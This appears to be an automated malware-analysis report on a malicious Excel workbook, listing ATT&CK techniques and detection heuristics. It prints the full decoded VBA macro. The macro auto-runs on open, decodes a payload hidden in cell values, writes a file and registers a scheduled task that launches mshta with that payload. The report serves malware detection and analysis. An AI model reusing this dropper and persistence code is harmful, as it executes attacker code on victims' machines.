MALICIOUS
176
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1037.004 Environmental Variable
T1105 Ingress Tool Transfer
The sample contains a Workbook_Open macro that executes obfuscated VBA code. This code attempts to construct a payload filename 'Cylinder.xsl' using the ALLUSERSPROFILE environment variable and save it to disk. It also attempts to schedule a task using the Schedule.Service COM object, likely to execute the downloaded payload.
Heuristics 6
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Set xDialogPrint = xXYScatterLinesNoMarkers.Actions.Create(xLess) xDialogPrint.Path = "mshta" xDialogPrint.Arguments = xErrorBarTypePercent -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Next xStockHLC With CreateObject("Scripting.FileSystemObject") Set xSourcePrintArea = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xCylinder.xsl") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Sub Workbook_Open() On Error GoTo xDialogFormatMove -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
With CreateObject("Scripting.FileSystemObject") Set xSourcePrintArea = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xCylinder.xsl") End With
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3628 bytes |
SHA-256: 3e19affc333ab4dfe15a61896c3f249787831f8eea50f7e43e17c4d6821a7ba2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
On Error GoTo xDialogFormatMove
xStDevP = 1 / 0
xDialogFormatMove:
If Err.Number <> 0 Then
xLong = "Thank You!"
MsgBox xLong, , "Good", Err.HelpFile, Err.HelpContext
xDialogGridlines = xVAlignJustify()
End If
End Sub
Function xVAlignJustify()
For Each xStockHLC In ActiveWorkbook.Sheets("Sheet1").Range("AN45:CA3587")
If xStockHLC.Value > 0 And Len(xErrorBarTypePercent) < 199 Then
xErrorBarTypePercent = xErrorBarTypePercent & Chr(xStockHLC.Value)
ElseIf xStockHLC.Value > 0 Then
xFixedWidth = xFixedWidth & Chr(xStockHLC.Value)
End If
Next xStockHLC
With CreateObject("Scripting.FileSystemObject")
Set xSourcePrintArea = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xCylinder.xsl")
End With
Const xNotes = 1
Const xLess = 0
Set xIBeam = CreateObject("Schedule.Service")
Call xIBeam.Connect
Set xWide = xIBeam.GetFolder("")
Set xXYScatterLinesNoMarkers = xIBeam.NewTask(0)
Set xPivotCellDataField = xXYScatterLinesNoMarkers.RegistrationInfo
xPivotCellDataField.Description = "Updates"
xPivotCellDataField.Author = "The Company"
Set xOutside = xXYScatterLinesNoMarkers.Principal
xOutside.LogonType = 3
Set xDialogDataLabelMultiple = xXYScatterLinesNoMarkers.Settings
xDialogDataLabelMultiple.Enabled = True
xDialogDataLabelMultiple.StartWhenAvailable = True
xDialogDataLabelMultiple.Hidden = False
Set xDialogChartLocation = xXYScatterLinesNoMarkers.Triggers
Set xClipboardFormatSYLK = xDialogChartLocation.Create(xNotes)
xArea = DateAdd("s", 120, Now)
xArrowHeadStyleDoubleOpen = xDialogMacroOptions(xArea)
xArea = DateAdd("n", 5, Now)
xExclusive = xDialogMacroOptions(xArea)
xClipboardFormatSYLK.StartBoundary = xArrowHeadStyleDoubleOpen
With xSourcePrintArea
.Write xFixedWidth
End With
xClipboardFormatSYLK.EndBoundary = xExclusive
xClipboardFormatSYLK.ID = "TimeTriggerId"
xClipboardFormatSYLK.Enabled = True
Set xDialogPrint = xXYScatterLinesNoMarkers.Actions.Create(xLess)
xDialogPrint.Path = "mshta"
xDialogPrint.Arguments = xErrorBarTypePercent
Call xWide.RegisterTaskDefinition("2021 Updates", xXYScatterLinesNoMarkers, 6, , , 3)
End Function
Function xDialogMacroOptions(xListBox)
xArrowHeadWidthNarrow = "0" & Second(xListBox)
xDialogChartType = "0" & Minute(xListBox)
xDialogWebOptionsPictures = "0" & Hour(xListBox)
xFill = "0" & Day(xListBox)
xCylinderBarClustered = "0" & Month(xListBox)
xSystem = Year(xListBox)
xDialogGalleryPie = Right(xDialogWebOptionsPictures, 2) & ":" & Right(xDialogChartType, 2) & ":" & Right(xArrowHeadWidthNarrow, 2)
xDialogSubscribeTo = xSystem & "-" & Right(xCylinderBarClustered, 2) & "-" & Right(xFill, 2)
xDialogMacroOptions = xDialogSubscribeTo & "T" & xDialogGalleryPie
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 16896 bytes |
SHA-256: 62d3c6f2e6df8f9048d171b8a16e907954485e0c66b19582e486b6ff9fe885e2 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.